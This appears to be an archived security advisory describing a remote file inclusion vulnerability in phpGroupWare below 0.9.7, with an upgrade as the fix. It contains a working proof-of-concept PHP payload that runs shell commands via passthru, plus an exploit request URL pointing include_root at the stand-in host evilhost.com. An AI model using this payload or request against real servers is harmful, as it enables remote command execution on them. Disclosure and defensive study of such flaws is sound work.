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TUCoPS :: Web :: PHP :: phpgw.htm

PHPGroupWare Versions below 0.9.7 under Unix - insecure include() calls



Vulnerability

    phpGroupWare

Affected

    Versions below 0.9.7 under Unix

Description

    Following  is  based  on  a  Secure Reality Advisories SRADV00006.
    phpGroupWare is a multi-user web based groupware suite written  in
    PHP.  phpGroupWare is quite popular due to its integration of many
    aspects of group cooperation: email, calendaring, file sharing, to
    do lists, etc.

    phpGroupWare makes  insecure calls  to the  include() function  of
    PHP which  can allow  the inclusion  of remote  files, and thereby
    the execution of arbitrary commands on the remote web server  with
    the permissions of the web server user, usually 'nobody'.

    This is  an excellent  example of  another aspect  of the remotely
    accessible include files issue  that has been discussed  in detail
    recently.   The  discussion  has  centered  around  the  sensitive
    information that can  be contained in  include files and  the fact
    that include files  generally have the  extension 'inc' and  thus,
    if web accessible, are returned to the requestor in plain text.

    A common solution amongst freely available php scripts is to  give
    include files  the extension  .inc.php.   This causes  the include
    file to always be processed  by the PHP interpreter and  therefore
    not  return  in  plain  text  sensitive configuration information,
    like  database  passwords.   Thus  these  programs  can  have easy
    installation  (untar  everything  into  the  web  space)   without
    worrying about configuration disclosure.

    The  problem  however  then  becomes  one  of  context.   Code and
    configuration  variables  in  include  files  tend  to  be  highly
    interdependent, that is, certain files and data must have  already
    been included  before including  a particular  file.   By directly
    requesting the files  we can break  the interdependence chain  and
    cause  data  the  include  files  could  normally  trust to become
    untrustworthy.

    Which  leads  us  to  the  phpGroupWare  vulnerability.   We   can
    directly  request  the  library  include  files  that  make up the
    phpGroupWare API,  one of  these files,  phpgw.inc.php performs an
    include based on  variables that should  have been set  as part of
    the call chain.  By providing them ourselves we can determine  the
    initial part of the following include statement:

        include($phpgw_info["server"]["include_root"] .
        "/phpgwapi/phpgw_info.inc.php");

    By providing $phpgw_info[server][include_root] as a form  variable
    that points to a  remote web server on  which we can place  files,
    we  can  get  the  script to retrieve /phpgwapi/phpgw_info.inc.php
    from that server and execute it.

    For  example,  if  we  had  access  to  place  files in a webspace
    http://evilhost.com/~shaun/ we would create a directory "phpgwapi"
    and  place  inside  it  a  script  called  phpgw_info.inc.php with
    content like the following:

        <?php
        
                // PHP code to be executed
                $phpcode = '
                        echo("Hi there!<BR>");
                        passthru("id");
                ';
        
                // If we were called via remote include, send the code to be
                // executed
                if (substr($HTTP_SERVER_VARS["HTTP_USER_AGENT"], 0, 3) == "PHP")
                        echo("<?php $phpcode ?>");
                else
                // Otherwise we're being executed on the target web server already,
                // so simply evaluate the code
                        eval($phpcode);
        
                exit();
        
        ?>

    This script is designed so that the server it is placed on can  be
    PHP  enabled  and  not  result  in  the code being executed on the
    attacking machine.

    If we then make a request to the target machine like the following:

        /phpgroupware/inc/phpgwapi/phpgw.inc.php?phpgw_info[server][include_root]=http://evilhost.com/~shaun

    The code should be retrieved and executed.

    It should be noted there are some caveats to this attack:

        - The remote web server must be able to retrieve the file, i.e
          no firewalls in the way
        - The remote web server must not be running PHP under  Windows
          since  remote  file  includes  are  not  supported  on  this
          platform
        - The remote web server must be running a sufficiently  recent
          version of PHP that [][] form variables are allowed
        - The remote web server must not have allow_url_fopen set off
        -  Later   versions  of   phpGroupWare  check   the   variable
          $phpgw_info["server"]["header_version"]  in   phpgw.inc.php,
          for  those  versions  we  need  to  provide  that  via  form
          variables too

    There may  well be  others based  on other versions/configurations
    of PHP.

Solution

    Please upgrade to the latest version of phpGroupWare (0.9.7) at

        http://sourceforge.net/project/showfiles.php?group_id=7305


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